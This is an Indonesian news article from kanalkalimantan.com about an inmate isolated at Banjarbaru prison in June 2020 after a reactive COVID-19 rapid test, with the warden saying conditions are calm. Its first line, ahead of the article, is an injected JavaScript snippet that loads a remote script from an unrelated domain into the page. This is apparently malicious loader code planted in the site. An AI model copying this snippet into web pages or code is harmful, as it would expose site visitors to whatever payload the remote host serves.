(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pasca menerima seorang napi reaktif hasil test cepat (Rapid Test). tak begitu berpengaruh terhadap kondisi dan suasana dalam Lapas Banjarbaru. Hal ini ditegaskan Kepala Lapas Kelas II B Banjarbaru, Amico Balalembang, Selasa (30/6/2020) pagi.
Ia mengklaim baik Dinas Kesehatan maupun petugas Lapas sudah memberikan edukasi kepada para warga binaan bahawa Lapas Kelas II B Banjarbaru ditunjuk sebagai tempat rujukan isolasi Covid-19. Sehingga, tidak ada munculnya pro kontra atauun gejolak di dalam Lapas.
“Sudah lama kita memberikan edukasi. Seluruh napi sudah tau bahwa ada salah satu di antara mereka ada yang menjalani isolasi. Saya tegaskan, situasi di Lapas tetap kondusif,” katanya.
Seperti yang sudah diberitakan, napi berusia 30 tahun tersebut awalnya mendekam di Rumah Tahanan (Rutan) di salah satu kabupaten di Provinsi Kalsel, hingga akhirnya dikirim ke Lapas Kelas II B Banjarbaru pada 23 Juni lalu. Hal ini menyusul hasil rapid test napi tersebut yang dinyatakan reaktif.
Pada 24 Juni, napi tersebut juga telah menjalani pemeriksaan swab untuk mengatahui apakah dirinya positif terpapar Covid-19 atau tidak. Hingga kini, hasil dari tes swab tersebut masih belum diketahui.
Baca juga: Satu Napi Jalani Isolasi di Lapas Banjarbaru, Reaktif Setelah Rapid Test
Kalapas Banjarbaru mengatakan untuk kondisi napi sampai saat ini dinyatakan stabil. Petugas perawat di Lapas juga terus mengawasi kesehatan napi tersebut selama menjalani isolasi di blok khusus yang telah disediakan.
“Petugas perawat kami terus memonitoring napi tersebut. Asupan gizi dan vitamin terus kita berikan. Kami juga mengharuskan petugas yang melakukan monitoring agar mengenakan alat pelindung diri yang lengkap,” kata Amico.
Lantas, bagaimana jika hasil tes swab napi tersebut dinyatakan negatif terpapar Covid-19? Amico mengungkapkan napi tersebut tetap masih harus menjalani isolasi selama 14 hari ke depan. Jika, telah berakhir, maka barulah yang bersangkutan akan dipindakan ke blok hunian para napi lainnya.
“Dimasukan ke dalam blok hunian, jika negatif. Tapi, harus isolasi dulu selama 14 hari. Kita akan terus koordinasi dengan Dinas Kesehatan terkait hal ini,” lugasnya. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.